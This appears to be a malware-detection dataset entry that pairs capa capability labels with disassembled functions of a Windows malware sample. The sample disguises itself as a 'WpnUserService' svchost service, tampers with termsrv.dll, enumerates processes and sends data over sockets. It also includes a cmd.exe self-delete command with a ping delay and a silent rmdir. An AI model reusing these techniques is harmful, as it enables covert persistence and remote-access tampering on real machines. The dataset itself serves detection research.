joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005350
Capabilities:
Delete registry key

Disassembly:
mov eax, dword [0x1001237c]
sub esp, 0x210
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
push edi
push eax
push reloc.WS2_32.dll_closesocket
call esi
mov ecx, dword [0x10012048]
push ecx
push closesocket
call esi
cmp dword [0x10012378], 0
mov edi, dword [esp + 0x21c]
je 0x100053d3
mov edx, dword [0x10012048]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call esi
push 0
call fcn.10008130
mov eax, dword [0x10012378]
add esp, 4
test eax, eax
je 0x100053d3
cmp dword [0x100120fc], 0
jne 0x100053b7
test edi, edi
je 0x100053d3
mov ecx, dword [0x1001204c]
push 1
push str.Wpn_User_Service_6ac92
push str.Wpn_User_Service_6ac92
push ecx
push eax
call fcn.1000cdc0
add esp, 0x14
cmp dword [0x100120e0], 0
jne 0x100053e0
test edi, edi
je 0x100053e5
call fcn.1000b640
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0x800
push 8
call edi
push eax
call fcn.100052e0
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
mov esi, eax
test esi, esi
je 0x10005450
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.NTDLL.dll_RtlRandom]
mov ecx, dword [0x100123b8]
push ecx
push 0xa
push eax
push ecx
push str._c_ren___s.__.._lu.bak__ping_1.1.1.1__n__u__rmdir___s___q__s
push esi
call ebx
push 0
push 0
push 0
push esi
push str.cmd.exe
push 0
call fcn.10007430
add esp, 0x30
push esi
push 0
call edi
push eax
call fcn.100088d0
push 0x4b
push str.GlobalRMSServerGlobal
lea eax, [esp + 0x18]
push str._s_c
push eax
call ebx
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
pop ebx
test esi, esi
je 0x10005489
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call sub.NTDLL.dll_NtClose
pop edi
pop esi
add esp, 0x210
ret

Function at 0x10005790
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
mov esi, dword [esp + 0x10]
xor edx, edx
or eax, 0xffffffff
test esi, esi
je 0x1000583b
push edi
mov edi, dword [esp + 0x10]
movzx ecx, byte [edx + edi]
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
inc edx
xor eax, ecx
cmp edx, esi
jb 0x100057a7
pop edi
not eax
pop esi
ret
Function at 0x10005840
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
sub esp, 0x10
push edi
lea eax, [esp + 4]
push eax
xor edi, edi
push edi
push edi
push 5
mov dword [esp + 0x14], edi
call sub.NTDLL.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x100059b3
mov eax, dword [esp + 4]
test eax, eax
je 0x100059b3
push ebx
push 4
push 0x1000
push eax
push edi
call fcn.100081b0
mov ebx, eax
mov dword [esp + 0x14], ebx
test ebx, ebx
je 0x10005965
mov edx, dword [esp + 8]
lea ecx, [esp + 8]
push ecx
push edx
push ebx
push 5
call sub.NTDLL.dll_NtQuerySystemInformation
test eax, eax
js 0x10005955
cmp dword [esp + 8], edi
jbe 0x10005955
mov dword [esp + 0xc], 1
push ebp
lea esp, [esp]
call fcn.100036b0
cmp dword [ebx + 0x44], eax
jne 0x10005920
xor edi, edi
cmp dword [ebx + 4], edi
jbe 0x10005920
lea eax, [ebx + 0xdc]
mov dword [esp + 0x14], eax
jmp 0x100058e0
mov ecx, dword [esp + 0x14]
mov ebp, dword [ecx]
call fcn.10006120
cmp ebp, eax
je 0x1000599f
mov ecx, dword [esi]
test ecx, ecx
jne 0x1000596d
push 0x200
mov dword [esi + 4], 0x80
mov edx, dword [0x100120e4]
push ecx
push edx
call fcn.100052e0
mov dword [esi], eax
test eax, eax
jne 0x10005994
mov dword [esp + 0x10], 0
mov eax, dword [ebx]
test eax, eax
je 0x1000592a
add ebx, eax
jne 0x100058c0
cmp dword [esp + 0x10], 0
pop ebp
jne 0x1000594d
mov eax, dword [esi]
test eax, eax
je 0x1000594d
mov ecx, dword [0x100120e4]
push eax
push 0
push ecx
call fcn.100088d0
mov dword [esi], 0
mov ebx, dword [esp + 0x14]
mov edi, dword [esp + 0xc]
mov edx, dword [esp + 8]
push 0x8000
push edx
push ebx
call fcn.1000cea0
pop ebx
mov eax, edi
pop edi
add esp, 0x10
ret
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x10005994
add eax, eax
mov dword [esi + 4], eax
add eax, eax
add eax, eax
push eax
push ecx
mov ecx, dword [0x100120e4]
push 0
push ecx
call fcn.1000cc80
test eax, eax
je 0x10005918
mov dword [esi], eax
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov dword [eax + edx*4], ebp
inc dword [esi + 8]
add dword [esp + 0x14], 0x40
inc edi
cmp edi, dword [ebx + 4]
jb 0x100058e0
jmp 0x10005920
mov eax, edi
pop edi
add esp, 0x10
ret

Function at 0x10005b60
Capabilities:
Get token membership

Disassembly:
sub esp, 0x10
push ebx
xor ebx, ebx
lea eax, [esp + 4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov word [esp + 0x3c], 0x500
mov dword [esp + 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x10005bb8
mov eax, dword [esp + 4]
lea edx, [esp + 8]
push edx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 8]
pop ebx
add esp, 0x10
ret
Function at 0x10005bf0
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi]
xor esi, esi
test eax, eax
je 0x10005c23
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
mov ecx, dword [ebp]
push 0
push eax
lea eax, [esi + ebx]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
add esi, eax
mov eax, dword [edi]
cmp esi, eax
jb 0x10005c08
pop ebp
pop ebx
pop edi
mov eax, esi
pop esi
ret

Function at 0x10005eb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
mov eax, dword [ebx + 0x3c]
push ebp
push esi
mov esi, dword [eax + ebx + 0x78]
mov ebp, dword [esi + ebx + 0x24]
mov ecx, dword [esi + ebx + 0x20]
add esi, ebx
push edi
add ecx, ebx
xor edi, edi
add ebp, ebx
mov dword [esp + 0x10], ecx
cmp dword [esi + 0x18], edi
jbe 0x10005f23
mov dword [esp + 0x18], 0x10012570
movzx edx, word [ebp + edi*2]
mov eax, dword [esi + 0x10]
add eax, edx
cmp eax, 0x1e
jne 0x10005f1d
cmp eax, 0x20
jne 0x10005f1d
cmp eax, 0x22
jne 0x10005f1d
mov ecx, dword [ecx + edi*4]
mov edx, dword [0x1001256c]
add ecx, ebx
push ecx
push edx
call fcn.10005b10
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
add ecx, 4
mov dword [esp + 0x18], ecx
mov ecx, dword [esp + 0x10]
inc edi
cmp edi, dword [esi + 0x18]
jb 0x10005ee1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10005f30
Capabilities:
Copy file
Get disk size
Move file
Read file via mapping

Disassembly:
sub esp, 0x238
mov eax, dword [0x10012414]
push esi
lea edx, [esp + 0xc]
push edx
xor ecx, ecx
push eax
mov word [esp + 0x1c], cx
lea ecx, [esp + 0x38]
push 0x1000e428
push ecx
mov dword [esp + 0x1c], 0x62002e
mov dword [esp + 0x20], 0x6b0061
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [0x10012414]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExW]
add esp, 0x10
push 2
lea edx, [esp + 0x34]
push edx
push eax
call esi
test eax, eax
je 0x100060d3
mov ecx, dword [0x10012414]
push 0
push ecx
lea edx, [esp + 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x10005fb8
mov eax, dword [0x10012414]
push 2
push eax
lea ecx, [esp + 0x38]
push ecx
call esi
pop esi
add esp, 0x238
ret
mov edx, dword [0x10012414]
push 0
push 0
push 3
push 0
push 1
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x100060cd
push ebx
push 0
push 0
push 0
push 4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebx, eax
test ebx, ebx
je 0x100060c6
push ebp
push 0
push 0
push 0
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebp, eax
test ebp, ebp
je 0x100060be
mov ecx, dword [0x100123b8]
xorpd xmm0, xmm0
movlpd qword [esp + 0x30], xmm0
push edi
mov edi, dword [esp + 0x24c]
xorpd xmm0, xmm0
movlpd qword [esp + 0x2c], xmm0
xorpd xmm0, xmm0
mov dword [esp + 0x10], 0x3a0000
movlpd qword [esp + 0x24], xmm0
mov dword [esp + 0x14], 0x5c
mov dx, word [ecx]
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x38]
mov word [esp + 0x14], dx
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x100060bd
mov ecx, dword [esp + 0x28]
xor eax, eax
cmp ecx, eax
ja 0x10006097
mov eax, dword [esp + 0x24]
jb 0x1000608b
cmp eax, edi
jae 0x10006097
test ecx, ecx
jne 0x10006093
test eax, eax
je 0x10006097
shr eax, 1
mov edi, eax
test edi, edi
je 0x100060bd
push 0
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x100060bd
push 0
push 0
push 0
push esi
call edi
pop edi
push ebp
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
pop ebp
push ebx
call sub.NTDLL.dll_NtClose
pop ebx
push esi
call sub.NTDLL.dll_NtClose
pop esi
add esp, 0x238
ret
Function at 0x10006220
Capabilities:
Start service

Disassembly:
push ecx
push ebp
push edi
push 1
xor edi, edi
push str.ServicesActive
push edi
mov dword [esp + 0x14], edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebp, eax
test ebp, ebp
je 0x100062a4
mov eax, dword [esp + 0x10]
push esi
push 0x10
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x1000629c
push ebx
lea ebx, [edi + 2]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [esp]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x10006288
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x10006288
push 0x7d0
call edi
dec ebx
jne 0x10006260
jmp 0x10006290
mov dword [esp + 0x10], 1
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, dword [esp + 0x10]
pop ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov eax, edi
pop edi
pop ebp
pop ecx
ret
Function at 0x10006727
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x214
push esi
push edi
mov edi, dword [esp + 0x224]
xor esi, esi
cmp edi, esi
je 0x100066fd
mov eax, dword [esp + 0x220]
push eax
call fcn.10002b50
add esp, 4
test eax, eax
je 0x100068a5
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x1c], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
call fcn.10003420
add esp, 0xc
cmp eax, 0x426
jne 0x1000676a
push 2
push str.TermService
call fcn.10007a80
add esp, 8
test eax, eax
je 0x100068a5
push str.TermService
call fcn.10006220
add esp, 4
test eax, eax
je 0x100068a5
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.10003420
add esp, 0xc
cmp eax, esi
jne 0x100068a5
call fcn.1000d4f0
mov ecx, dword [esp + 0x10]
push ecx
call fcn.10004d00
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp edi, esi
je 0x100067a0
call fcn.100089b0
test eax, eax
je 0x100068a5
lea edx, [esp + 0x14]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp word [esp + eax*2 + 0x12], 0x5c
je 0x100067ca
xor edx, edx
mov ecx, 0x5c
mov word [esp + eax*2 + 0x14], cx
mov word [esp + eax*2 + 0x16], dx
inc eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebp
push str.termsrvw.dll
lea eax, [esp + eax*2 + 0x20]
push eax
call ebx
cmp edi, esi
jne 0x1000681d
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x1c]
push ecx
call ebp
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push str..ini
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionW]
lea ecx, [esp + 0x1c]
push ecx
call ebp
push str._SystemRoot_System32_termsrv.dll
lea edx, [esp + 0x20]
push edx
call ebx
lea eax, [esp + 0x1c]
push eax
call fcn.10002270
mov ebx, dword [esp + 0x14]
add esp, 4
cmp ebx, esi
jle 0x1000687c
mov edi, dword [esp + 0x14]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea esp, [esp]
mov ecx, dword [edi + esi*4]
push ecx
call fcn.10006220
mov edx, dword [edi + esi*4]
add esp, 4
push edx
push 0
call ebp
push eax
call fcn.100088d0
inc esi
cmp esi, ebx
jl 0x10006840
push edi
push 0
call ebp
push eax
call fcn.100088d0
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [esp + 0x22c]
push str.TermService
call fcn.10006220
push edi
call fcn.10002e80
push edi
call fcn.1000cf00
add esp, 0xc
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x214
ret
pop edi
mov eax, esi
pop esi
add esp, 0x214
ret
Function at 0x10007430
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x3c
push 0x3c
lea eax, [esp + 4]
push eax
call sub.NTDLL.dll_RtlZeroMemory
mov eax, dword [esp + 0x44]
mov dword [esp], 0x3c
mov dword [esp + 4], 0x800400
mov dword [esp + 0x1c], 0
test eax, eax
je 0x10007462
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x48]
test eax, eax
je 0x1000746e
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x40]
test eax, eax
je 0x1000747a
mov dword [esp + 0xc], eax
cmp dword [esp + 0x4c], 0
je 0x1000748b
mov dword [esp + 0x1c], 1
jmp 0x10007493
mov dword [esp + 4], 0x808400
push esi
mov esi, dword [esp + 0x54]
push edi
test esi, esi
je 0x100074a2
or dword [esp + 0xc], 0x40
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov edi, eax
test edi, edi
je 0x100074f3
test esi, esi
je 0x100074f3
cmp esi, 0xffffffff
je 0x100074c4
imul esi, esi, 0x3e8
jmp 0x100074c7
or esi, 0xffffffff
mov edx, dword [esp + 0x40]
push esi
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x5c]
test eax, eax
je 0x100074e7
push eax
mov eax, dword [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [esp + 0x40]
push ecx
call sub.NTDLL.dll_NtClose
mov eax, edi
pop edi
pop esi
add esp, 0x3c
ret

Function at 0x10007680
Capabilities:
Terminate process

Disassembly:
sub esp, 0x20c
push esi
mov esi, dword [esp + 0x218]
push edi
mov edi, dword [esp + 0x220]
test esi, esi
jne 0x1000769e
test edi, edi
je 0x10007705
cmp dword [0x100120e0], 0
je 0x100076b6
push 0
push str.WpnUserService_6ac92
call fcn.10009710
add esp, 8
test esi, esi
je 0x10007701
push 0x52
push str.GlobalRMSServerGlobal
lea eax, [esp + 0x10]
push str._s_c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [esp + 8]
push ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
test esi, esi
je 0x100076f6
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call sub.NTDLL.dll_NtClose
pop edi
xor eax, eax
pop esi
add esp, 0x20c
ret
test edi, edi
jne 0x10007717
mov edx, dword [esp + 0x218]
push 0
push edx
call fcn.1000a270
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10007a80
Capabilities:
Modify service

Disassembly:
push ebx
push edi
push 1
push str.ServicesActive
xor ebx, ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x10007ad5
mov eax, dword [esp + 0xc]
push ebp
push esi
push 2
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x10007ad0
mov ecx, dword [esp + 0x18]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ecx
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push esi
mov ebx, eax
call ebp
push edi
call ebp
pop esi
pop ebp
pop edi
mov eax, ebx
pop ebx
ret
Function at 0x10008030
Capabilities:
Create thread
Set current directory
Terminate process

Disassembly:
mov eax, dword [0x100123b8]
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov esi, dword [esp + 0x10]
xor edi, edi
push edi
mov dword [0x10012434], 0x20
mov dword [0x10012438], 2
mov dword [0x1001243c], 0x85
mov dword [0x10012440], edi
mov dword [0x10012444], edi
mov dword [0x10012448], edi
mov dword [0x1001244c], edi
mov ecx, dword [esi]
push 0x100051d0
push ecx
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerExW]
mov dword [0x10012430], eax
cmp eax, edi
je 0x10008112
mov edx, dword [esp + 0xc]
mov dword [0x10012438], 4
cmp edx, 1
jbe 0x100080c4
lea eax, [edi + 1]
jle 0x100080c4
mov edi, edi
mov ecx, dword [esi + eax*4]
cmp word [ecx], 0x73
jne 0x100080bf
cmp word [ecx + 2], di
je 0x100080f8
inc eax
cmp eax, edx
jl 0x100080b0
push 4
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.100052e0
mov esi, eax
cmp esi, edi
je 0x100080f8
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
push edi
push edi
push esi
push 0x10007380
push edi
push edi
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call sub.NTDLL.dll_NtClose
pop edi
pop esi
mov dword [esp + 8], 0x10012434
mov edx, dword [0x10012430]
mov dword [esp + 4], edx
jmp dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
push 0x10012434
push edi
mov dword [0x10012438], 1
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10009710
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
xor ebp, ebp
push 0xf003f
push ebp
push ebp
mov dword [esp + 0x18], ebp
call esi
mov ebx, eax
test ebx, ebx
jne 0x10009741
push 1
push eax
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x100097d7
mov eax, dword [esp + 0x30]
push edi
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x100097cf
lea ecx, [esp + 0x14]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x18], 1
je 0x100097a8
lea edx, [esp + 0x14]
push edx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x100097c4
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x18], 1
je 0x100097a8
push 0x3e8
call ebp
inc esi
cmp esi, 0x3c
jl 0x10009786
jmp 0x100097c4
cmp dword [esp + 0x38], 0
jne 0x100097b9
mov dword [esp + 0x10], 1
jmp 0x100097c4
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [esp + 0x10], eax
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebp, dword [esp + 0x10]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x1000a550
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
sub esp, 0x78
push esi
push edi
mov edi, dword [esp + 0x84]
xor esi, esi
test edi, edi
je 0x1000a69c
push ebx
push esi
push edi
lea eax, [esp + 0x14]
push eax
lea ebx, [esi + 0x20]
mov dword [esp + 0x18], esi
call sub.USERENV.dll_CreateEnvironmentBlock
test eax, eax
je 0x1000a583
mov ebx, 0x420
push 0x44
lea ecx, [esp + 0x44]
push ecx
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea ecx, [esp + 0x14]
lea eax, [esp + 0x24]
push ecx
mov dword [esp + 0x48], 0x44
mov dword [esp + 0x28], 0x690057
mov dword [esp + 0x2c], 0x73006e
mov dword [esp + 0x30], 0x610074
mov dword [esp + 0x34], 0x5c0030
mov dword [esp + 0x38], 0x650044
mov dword [esp + 0x3c], 0x610066
mov dword [esp + 0x40], 0x6c0075
mov dword [esp + 0x44], 0x74
mov dword [esp + 0x50], eax
call sub.NTDLL.dll_RtlZeroMemory
cmp dword [0x100120d8], esi
jne 0x1000a649
mov eax, dword [0x100120a0]
lea edx, [esp + 0x10]
push edx
test eax, eax
je 0x1000a623
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x44]
push ecx
mov ecx, dword [esp + 0x94]
push 0
push edx
push ebx
push 0
push 0
push 0
push ecx
push 0
push edi
call eax
jmp 0x1000a673
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x90]
lea eax, [esp + 0x44]
push eax
push 0
push ecx
push ebx
push 0
push 0
push 0
push edx
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
jmp 0x1000a673
mov eax, dword [0x10012400]
test eax, eax
je 0x1000a68d
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x44]
push edx
mov edx, dword [esp + 0x94]
push 0
push ecx
push ebx
push edx
push 0
push 0
push edi
call eax
mov esi, eax
test esi, esi
je 0x1000a68d
mov eax, dword [esp + 0x14]
push eax
call sub.NTDLL.dll_NtClose
mov ecx, dword [esp + 0x10]
push ecx
call sub.NTDLL.dll_NtClose
mov eax, dword [esp + 0xc]
pop ebx
test eax, eax
je 0x1000a69c
push eax
call sub.USERENV.dll_DestroyEnvironmentBlock
pop edi
mov eax, esi
pop esi
add esp, 0x78
ret
Function at 0x1000b640
Capabilities:
Delete registry key
Delete registry value

Disassembly:
sub esp, 0x210
push 1
push str.WpnUserService_6ac92
call fcn.10009710
add esp, 8
test eax, eax
je 0x1000b737
cmp dword [0x10012378], 0
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
je 0x1000b6d9
push 0x1000e604
push 0
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea eax, [esp + 0x1c]
push str._s_s_c_s
push eax
call esi
add esp, 0x18
push 0
lea ecx, [esp + 0xc]
push ecx
push 0
push 0xf023f
push 0
push 0
push 0
lea edx, [esp + 0x28]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x2c], 0
call dword [0x10012108]
test eax, eax
jne 0x1000b6d9
mov eax, dword [esp + 8]
push str.WpnUserService_6ac92
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.WpnUserService_6ac92
push 0x5c
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea edx, [esp + 0x1c]
push str._s_s_c_s
push edx
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
add esp, 0x18
lea eax, [esp + 0xc]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call edi
push 0x1000e604
push str.WpnUserService_6ac92
push str.Services_
lea ecx, [esp + 0x18]
push str.SYSTEMCurrentControlSet_s_s_s
push ecx
call esi
add esp, 0x14
lea edx, [esp + 0xc]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call edi
pop edi
pop esi
add esp, 0x210
ret